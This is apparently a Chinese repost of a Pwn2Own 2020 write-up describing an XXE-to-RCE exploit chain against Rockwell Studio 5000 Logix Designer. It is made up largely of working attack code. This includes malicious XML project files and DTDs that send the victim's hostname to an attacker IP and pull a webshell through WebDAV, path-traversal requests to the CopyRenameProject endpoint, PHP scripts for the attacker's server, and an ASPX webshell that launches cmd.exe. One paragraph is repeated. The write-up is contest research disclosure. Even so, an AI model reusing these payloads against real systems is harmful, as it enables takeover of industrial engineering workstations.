Pwn2Own -> Xxe2Rce – 作者:xq17

这篇文章将描述mr_me和我本人在2020年ICS Pwn2Own上攻击Rockwell Studio 5000 Logix Designer 的漏洞利用链。这是我们在比赛中最喜欢的利用链。于我而言,这条链之所以如此令人满意,是因为它不仅很长,而且由于Steve和我俩都独立地发现了不同的原语,然后我们能够放在一起进行最终的利用。该链包括6个原语和一个被多次滥用的XXE漏洞。

  • Hostname leak (主机名泄漏)
  • Arbitrary folder deletion (任意文件夹删除)
  • Arbitrary folder creation  (任意文件夹创建)
  • File creation (with uncontrolled filename, and location, but controlled extension)  (扩展名可控的文件创建)
  • Filename leak (文件名泄漏)
  • File move (文件移动)

Pwn2OwnMiami2020Rules表明了,只能通过在目标机器上打开一个恶意的项目文件的方式来进行这一类的尝试。因此我们必须说服受害者打开恶意项目文件。但是,重要的一点是,使用Logix Designer要求将Rockwell的其他软件安装在系统上,包括本地Web服务器。 这个点稍后会给我带来非常大的方便。

考虑到初始化错误必须滥用正在打开的项目文件,因此重要的第一步是确定软件支持文件格式。NirSoft的FileTypesMan是一项非常有用的工具,您可以按”Company Nam”之类的不同类别进行排序,并查看已注册的所有文件扩展名:

图片[1]-Pwn2Own -> Xxe2Rce – 作者:xq17-安全小百科但是,对于我们的链,我们滥用的文件类型未由Logix Designer注册。 不过,只需观察文件选择器下拉列表中列出的默认类型,即可轻松找到它:

图片[2]-Pwn2Own -> Xxe2Rce – 作者:xq17-安全小百科由于不清楚大多数文件类型意味着什么,我们尝试打开具有每个不同扩展名的纯xxe.xml文件(如xxe.xml)去查看是否触发了http请求。事实证明,如果您以.xml或.aml扩展名打开文件,则该应用确实存在这个漏洞。Nice! 我们的第一个原语是XXE。

图片[3]-Pwn2Own -> Xxe2Rce – 作者:xq17-安全小百科在讨论第二个端点如何被滥用之前,我们需要回顾一下有关Windows系统上XXE的一般原则:可以通过使用xxe利用file://协议来请求网络资源将文件写入到系统的WebDAV缓存文件夹c:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

window使用file://协议时首先会尝试将文件通过SMB端口445读取。如果失败,且WebClient服务正在运行(似乎是在Windows的非服务器版本的默认开启),那么它会尝试通过WebDAV上端口80去获取资源。以这种方式通过WebDAV下载文件时,它们以GUID的名称存储在缓存文件夹中,但保留扩展名。要对此进行测试,您可以向受害者提供有效载荷,如下所示:

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY % sp SYSTEM "http://192.168.17.139/download.dtd">
%sp;
%trigger;
%download;
]>

使用这样的外部DTD:

<!ENTITY % webshell SYSTEM "file://192.168.17.139/webdav/shell.aspx">
<!ENTITY % trigger "<!ENTITY % download SYSTEM 'http://192.168.17.139/?%webshell;'>">

然后,shell.aspx最终进入DAV缓存:

图片[4]-Pwn2Own -> Xxe2Rce – 作者:xq17-安全小百科至此,我们已经能够泄漏受害计算机的主机名,并在DAV缓存文件夹中创建一个具有随机名称的Webshell。现在,我们将能够使用本地HTTP服务器的第二个endpoint(端点)来执行以下操作:

Empty the WebDAV cache folder (清空WebDAV缓存文件夹)

Leak the name of the file that we create inside the cache (泄漏我们在缓存中创建的文件的名称)

Move the file into the webroot (将文件移到webroot)

Create / delete arbitrary folders (this capability is not used) 创建/删除任意文件夹(不使用此功能)

endpoint(端点)被称为CopyRenameProject,看起来像这样:

http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject
&HMIProjectName=SourceFolder        // all contents will be moved to the destination
&NewProjectName=DestFolder          // folder will contain contents of source folder
&NewComputerLocation=Hostname       // can be local or remote system
                                    // to move files around the local system the hostname must be used
                                    // no localhost or . or 127.0.0.1, hence we need a hostname leak

现在,真正的乐趣开始了!为了泄漏Webshell的名称,我们需要清除DAV缓存去确保它是该文件夹中唯一的文件。使用这样的请求很容易实现:

http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject
&HMIProjectName=../../../../../../Windows/ServiceProfiles/LocalService/AppData/Local/Temp/TfsStore/Tfs_DAV/
&NewProjectName=cacheTrash
&NewComputerLocation=EWS

// We're just attempting to move the folder contents into a non-existent folder
// causing the files to be removed from the system.

现在我们可以触发我们先前介绍的webshell下载。之后,我们需要泄漏webshell的名称,我们可以这样操作:

现在,真正的乐趣开始了!为了泄漏Webshell的名称,我们需要清除DAV缓存去确保它是该文件夹中唯一的文件。使用这样的请求很容易实现:

http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject
&HMIProjectName=../../../../../../Windows/ServiceProfiles/LocalService/AppData/Local/Temp/TfsStore/Tfs_DAV/
&NewProjectName=cacheTrash
&NewComputerLocation=EWS

// We're just attempting to move the folder contents into a non-existent folder
// causing the files to be removed from the system.

现在我们可以触发我们先前介绍的webshell下载。之后,我们需要泄漏webshell的名称,我们可以这样操作:

http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject&HMIProjectName 
= .. / .. / .. / .. / .. / .. / Windows / ServiceProfiles / LocalService / AppData / Local / Temp / TfsStore / Tfs_DAV /
&NewProjectName = hax
&NewComputerLocation = 192.168.17.139

Wireshark转储展示了尝试将文件复制到远程计算机时发生的情况:

图片[5]-Pwn2Own -> Xxe2Rce – 作者:xq17-安全小百科

现在,我们可以像这样将webshell复制到webroot:

http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject
&HMIProjectName=../../../../../../Windows/ServiceProfiles/LocalService/AppData/Local/Temp/TfsStore/Tfs_DAV/
&NewProjectName=.       // in this case . is the webroot
&NewComputerLocation=EWS

剩下要做的就是向Webshell发送请求以实际执行代码。easy!

好吧,这听起来很简单,但是此漏洞利用的特殊之处在于它是一次性的XXE,但是payload中有两个不同的动态值,分别为受害者的主机名和Webshell的文件名。 就我个人而言,我从来不必在XXE中克服这种挑战, 因此我想花一些时间来构造每个exploit payload和成功进行漏洞利用所需的基础结构。

传递给受害者的恶意项目文件如下所示:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % stage1 SYSTEM "http://192.168.17.139/stage1.dtd">
<!ENTITY % stage2 SYSTEM "http://192.168.17.139/stage2.php">
%stage1; %one; %two;
%stage2; %three; %four;]>

stage1.dtd看起来像这样:

<!ENTITY % hostname SYSTEM "http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?Version">
<!ENTITY % one "<!ENTITY % two SYSTEM 'http://192.168.17.139/leak-hostname.php?hostname=%hostname;'>">
leak-hostname.php看起来像这样:
<?php
preg_match('/(Computer: )(.*)(<br>)/', urldecode($_GET['hostname']), $matches);
$hostname = $matches[2];
file_put_contents("host-name.txt", $hostname);
?>

Stage1与泄漏受害者的主机名有关。受害者将其主机名发送给攻击者,攻击者将其存储在名为的文件中host-name.txt

现在让我们看一下stage2.php

<?php
# will be the WebDAV cache folder on all Windows systems
$davCache = "../../../../../../Windows/ServiceProfiles/LocalService/AppData/Local/Temp/TfsStore/Tfs_DAV/";
 
# will contain the victim's hostname which we grabbed in stage 1
$hostname = file_get_contents("host-name.txt");
 
# clears out the DAV cache
$xml = "<!ENTITY % clearCache SYSTEM \"http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject&amp;HMIProjectName=$davCache&amp;NewProjectName=cacheTrash&amp;NewComputerLocation=$hostname\">\n";
 
# creates the webshell in the DAV cahce
$xml .= "<!ENTITY % downloadWebshell SYSTEM \"file://192.168.17.139/webdav/shell.aspx\">\n";
 
# leaks the filename of webshell
# we use a separate php script to receive this from the victim and
# store it in `file-name.txt` in the webroot of the attacking machine
$xml .= "<!ENTITY % leakFileName SYSTEM \"http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject&amp;HMIProjectName=$davCache&amp;NewProjectName=hax&amp;NewComputerLocation=192.168.17.139\">\n";
 
# move the webshell into the victim webroot 
$xml .= "<!ENTITY % copyShellToWebRoot SYSTEM \"http://127.0.0.1/RSViewSE/HMI_ISAPI.dll?CopyRenameProject&amp;HMIProjectName=$davCache&amp;NewProjectName=.&amp;NewComputerLocation=$hostname\">\n";
 
# store the filename of the webshell in an entity
$xml .= "<!ENTITY % fileName SYSTEM \"http://192.168.17.139/file-name.txt\">\n";
 
# this last line calls everything inside of a sub entity
# that way the parser keeps going even if there's errors.
# we could have also just redirected back to our attacking 
# http server if the response data wasn't valid DTD
$xml .= "<!ENTITY % three \"<!ENTITY % four SYSTEM 'http://127.0.0.1/%clearCache;%downloadWebshell;%leakFileName;%copyShellToWebRoot;/../../../../../../../RSViewSE/%fileName;'>\">\n";
 
print $xml;
?>

对于此漏洞利用,能够在同一端口上运行WedDAV服务器和HTTP服务器确实很有帮助。感谢apache简化了这个实现。

为了完整说明这个过程,让我们看看我们如何收集Webshell的文件名。首先,我们有一个.htaccess像这样的文件:

RewriteEngine On
RewriteRule (.*{.*) rockwell.php
RewriteRule (.*HMI_ISAPI.DLL.*) rockwell-200.php

这会将所有包含{的请求重定向到rockwell.php。Windows将始终将webshell重命名为GUID,{ADCA1E92-BC09-4257-ADB6-BEA43DA08F4B}.aspx,这样我们知道带有的传入请求{应重定向到文件名获取代码。这里是rockwell.php

<?php
# the HTTP/1.0 response prevents the file from getting deleted when we leak the name
header("HTTP/1.0 100 Incite Team");
 
# grab the filename out of the incoming request
$filename = urldecode(basename($_SERVER['REQUEST_URI'], '?' . $_SERVER['QUERY_STRING']));
 
# make sure the extension is aspx
$extension = strtolower(pathinfo($filename)['extension']);
if (strcmp($extension, "aspx") == 0) {
    # we save the leaked file name into a file in our web root called "file-name.txt"
    file_put_contents("file-name.txt", $filename);
}
?>

当你向rockwell-200.php发出HTTP请求时,仅返回我称为标准的Rockwell 200 OK响应。回想一下,为了让受害者将文件名泄漏给我们,我们必须返回这种类型的响应。在.htaccess定义了,每次在看到HMI_ISAPI.DLL在传入请求中都会重定向到rockwell-200.php:

<html><head><title>Default MFC Web Server Extension</title></head><body>S_OK</body></html>

最后要讨论的是webshell,它存储在我们Apache服务器的WebDAV根目录中,而不是普通的webroot中。由于webshell的内容在%downloadWebshell;实体中得到扩展,并且由于实体的使用方式,我们必须确保它不包含任何可能导致其生成无效DTD的字符。因此#%字符不能够被使用!

如果您去寻找标准的.aspx文件示例,您开始可能会认为无法实现此目标。但是,如果继续挖掘,可能会遇到类似以下内容的结果shell.aspx

<html>
<script language="CSharp" runat="server">
  void pwn(Object Src, EventArgs E) {
    System.Diagnostics.Process.Start("cmd.exe","/C mspaint");
  }
</script>
<body>
  <form runat="server">
    <asp:button text="carnage" OnLoad="pwn" runat="server"/>
  </form>
</body>
</html>

到现在为止, 一切都已经准备好了。

参考来源:

Pwn2Own-> Xxe2Rce

 

来源:freebuf.com 2020-08-08 21:57:15 by: xq17

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论